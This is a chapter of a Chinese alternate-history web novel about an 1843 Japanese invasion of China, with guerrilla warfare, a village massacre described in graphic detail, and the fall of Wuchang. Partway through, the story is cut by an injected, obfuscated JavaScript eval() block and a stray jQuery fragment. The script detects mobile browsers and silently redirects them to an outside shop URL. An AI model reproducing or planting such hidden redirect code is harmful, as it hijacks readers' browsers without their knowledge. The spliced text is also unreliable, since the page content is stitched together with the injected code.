天师·终焉
第七章泥沼
一
穿越后的第二十六个月,公元1843年春。
日军的旭日旗插上了长江中下游的十几座城池。从上海溯江而上,苏州、无锡、常州、镇江、南京、芜湖、安庆,相继陷落。浙江的杭州、嘉兴、湖州,江苏的扬州、泰州,也落入了敌手。日军兵锋直指武汉,前锋距离武昌不到三百里。
但推进的速度越来越慢了。
不是兵力不够,不是武器不精,而是每前进一步,都要付出代价。铁路被扒了,桥梁被炸了,水井被投毒了,粮仓被烧了。游击队无处不在——白天是农民,晚上是战士。今天伏击一个运输队,明天刺杀一个军官,后天炸毁一个军火库。日军占领的每一座城市,都像坐在火山口上。
“我们控制的是土地,不是人心。”山本一木大佐在日记中写道,“占领一座城容易,征服一个民族难。”
二
南京,中华门外。
日军在这里进行了一次“清乡”行动。三千名士兵包围了一个村子,理由是“怀疑藏匿游击队”。他们把全村三百多口人赶到打谷场上,架起机枪。
“谁说出游击队的下落,谁就可以活。”翻译官用中文喊。
没有人说话。
一个老人站了出来。他白发苍苍,拄着拐杖,走到日军指挥官面前。
“你们要杀,就杀我。放了孩子。”
指挥官看了他一眼,挥了挥手。一个士兵举起枪托,把老人打倒在地。鲜血从老人的额头流下来,他挣扎着要爬起来,又被打倒。
“说不说?”
老人抬起头,用浑浊的眼睛看着指挥官。
“我活了七十多年,没见过你们这样的畜生。”
指挥官脸色一变,拔出军刀,一刀劈下。
老人的头滚落在地。
人群中发出一阵悲鸣。一个年轻的妇女冲出来,扑在老人身上哭喊。她的怀里还抱着一个婴儿。
“开枪。”指挥官说。
机枪响了。
三百多人倒在血泊中。婴儿的哭声在枪声停止后还在回荡。一个士兵走过去,用刺刀挑起了婴儿,扔进了火堆。
这个村子的名字,没有被记录在任何史书上。它只是日军暴行中无数无名村庄中的一个。
消息传到韶州时,陈曦正在开会。她沉默了很久,然后说:“记录在案。等战争结束,给这个村子立碑。”
“村子叫什么?”记录员问。
“没有人知道。”陈曦说,“就叫‘无名村’。”
三
浙江,四明山。
游击队在这里扎下了根。不是天师卫,不是南务派,而是当地百姓自发组织起来的武装。他们有猎户、有樵夫、有渔民、有私塾先生、有逃兵。他们没有统一的军装,没有像样的武器,只有鸟枪、刀矛、锄头。
但他们不怕死。
一个叫王老虎的猎户,是这支游击队的头领。他四十多岁,黝黑,精瘦,一双眼睛像鹰一样锐利。他用猎枪打死过三个日军士兵,用砍柴刀砍死过两个。日军悬赏一千两银子买他的人头,但他至今还活着。
“日本人有飞机大炮,我们有山。”王老虎对队员们说,“他们来,我们上山。他们走,我们下山。他们追,我们跑。他们跑,我们打。拖也拖死他们。”
日军曾经派了一个大队进山清剿。王老虎带着游击队在山里转了半个月,日军被拖得精疲力竭,补给也断了。王老虎趁他们撤退时,在一个峡谷里设伏,用滚木礌石砸死了上百人。
从那以后,日军再也不敢进四明山了。
四
江苏,扬州。
史公祠的门前,一个老人跪在那里,已经跪了三天三夜。
他叫史朴,是史可法的后人。扬州沦陷后,日军占领了史公祠,在里面设了慰安所。老人要求日军退出史公祠,被拒绝了。他于是跪在门前,不进食,不饮水,直到死。
第三天傍晚,一个日军军官走出来,踢了他一脚。
“滚!”
老人抬起头,看着他。
“这是史公的祠堂。你们不配进去。”
军官大怒,拔出军刀。老人闭上眼睛,引颈就戮。
刀落下前,一个声音喊道:“住手!”
是几个日本士兵。他们冲上来,拦住了军官。军官愤怒地推开他们,但他们又围上来,用自己的身体护住老人。
“长官,他是老人!”一个士兵用日语说,“我们不能杀老人!”
军官瞪着他们,刀停在半空。
最后,他收刀入鞘,转身走了。史公祠被关闭,慰安所迁到了别处。老人被士兵们搀扶起来,送到医院。他在医院里躺了一个月,最终还是走了。
临死前,他对守在他床边的日本士兵说:“你们……还有良心。不要打仗了……回家吧。”
那个士兵哭了。
五
福建,闽江口。
南务派的商船队在这里与日军展开了一场海战。不是正规海战,而是自杀式袭击。潘振承的侄子潘国英,率领二十艘改装过的商船,满载火药和硫磺,趁夜色冲向停泊在闽江口的日军运输船队。
“潘翁说了,船可以再造,人死了不能复生。但国家没了,什么都没有了。”潘国英在出发前对船员们说,“你们怕不怕?”
“不怕!”
“好。走。”
二十艘船冲进了日军的锚地。日军的警戒艇发现了他们,开炮拦截。一艘又一艘的商船被击中,爆炸,沉没。但剩下的船仍然向前冲。
潘国英的船冲到了一艘大型运输船旁边。他点燃了导火索,抱住船长,跳进了海里。
爆炸声震动了整个闽江口。日军的运输船被炸沉,船上的弹药和燃料引发了连锁爆炸,烧毁了附近的三艘军舰。
潘国英的尸体没有找到。他的叔父潘振承在韶州听到消息,老泪纵横。
“好孩子。你没有给潘家丢人。”
六
湖北,武昌城下。
日军的一个联队正在攻城。武昌守军是南务派的部队,不到五千人,装备落后,弹药匮乏。他们已经守了半个月,城墙上到处是缺口,城墙下堆满了尸体。
守将叫赵文华,是林则徐的学生,天师大学第五期毕业生。他今年才二十八岁,但已经是沙场老将了。
“赵将军,日军又攻上来了!”
赵文华提着一支仿制步枪,走到城墙上。他的左臂已经被弹片削去一块肉,用布条缠着,还在渗血。但他没有下去。
“兄弟们,”他站在城墙上,面对蜂拥而来的日军,“今天,我们可能都要死在这里。但我们要让日本人记住——中国人不是好欺负的!”
他扣动了扳机。
城墙上,最后的几百名守军,跟着他一起开火。子弹打光了,用刀。刀卷刃了,用拳头。拳头打烂了,用牙齿。
赵文华被三个日军士兵围住。他刺倒了一个,被第二个砍中后背,又被第三个捅穿了腹部。他跪在地上,仍然举着刀。
“中国……万岁……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510263|202965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
他倒了下去。
武昌沦陷。五千守军,无一生还。
赵文华的头颅被日军割下,挂在了城门上。后来,有人冒险爬上去,把头颅偷了下来,葬在了城外的一座小山上。
墓碑上只刻了五个字:“赵文华之墓”。
没有官职,没有籍贯,没有生卒年月。因为没有人知道他的籍贯,也没有人知道他的年龄。只知道他是天师大学的学生,是林则徐的学生,是中国人。
七
陈曦在韶州收到赵文华阵亡的消息时,正在吃午饭。她放下筷子,端起茶杯,喝了一口水。
“赵文华,”她重复了一遍这个名字,“天师大学第五期,工科。”
“是的。”陈永华低声说,“他在天师大学读了四年,成绩优秀。毕业后去了福建,在南务派的工厂里当工程师。战争爆发后,他主动要求参军,被派到武昌。”
陈曦沉默了很久。
“给林则徐发电报。告诉他,他的学生没有给他丢人。”
“还有别的吗?”
“还有……”陈曦顿了顿,“记录在案。赵文华,天师大学第五期毕业生,守武昌,殉国。待战争胜利后,为他立碑。”
八
林知夏在日本的活动,在这一年里取得了重要进展。
佐藤健一的“技术者恳谈会”已经扩大到了五十多人,覆盖了大阪、名古屋、横滨、东京的多个工厂。他们开始有计划地“破坏”军工生产——在关键零件上做手脚,使产品质量不合格;在设备上制造故障,使生产线停工;在原料中掺入杂质,使弹药失效。
“我们的目标不是让日军打不赢,”佐藤对林知夏说,“是让他们打不赢。每一发不合格的炮弹,都会救一个中国人的命。”
高木正雄在军中的内线也扩大了。他联络了十几个志同道合的军官和士兵,暗中传递情报、保护反战人士、帮助逃兵藏匿。他们不敢公开反抗,但他们的存在,让日军的战争机器出现了细微的裂缝。
林知夏还接触到了更多的底层百姓。她通过互助会,把江户、大阪、京都等地的反抗力量串联起来。他们传递情报、破坏军需、救助逃兵、掩护反战人士。
一天夜里,林知夏在药铺后屋打开电台,给陈曦发了一封加密电报。
“日本内部的裂缝正在扩大。工程师、士兵、百姓,越来越多的人开始质疑战争。给我们时间,我们能让这台机器自己散架。”
陈曦的回电很快就到了:“时间不多了。日军正在准备更大的攻势。我们需要你尽快。”
林知夏关掉电台,坐在窗前,看着窗外的月亮。
“天枢,”她轻声说,“你看到了吗?”
没有人回答。但她仿佛听到了那个熟悉的声音:
「看到了。火种在燃烧。」
九
南极方向的信号,在这一年里又出现了几次。
不是连续的,而是断断续续的,像垂死者的脉搏。技术员们拼尽全力,也无法解析出任何有意义的内容。但信号的强度似乎比一年前强了一些,持续时间也长了一些。
“也许不是设备故障。”一个技术员说,“也许发信号的人,正在靠近。”
陈曦站在电台室外,望着南方的天空。
那里什么都没有。但她知道,在那片冰封的大陆上,有人在等待。也许是一百人,也许是十人,也许只有一个人。但只要还有人活着,希望就还在。
“继续监听。”她说,“总有一天,我们会知道。”
(第七章完)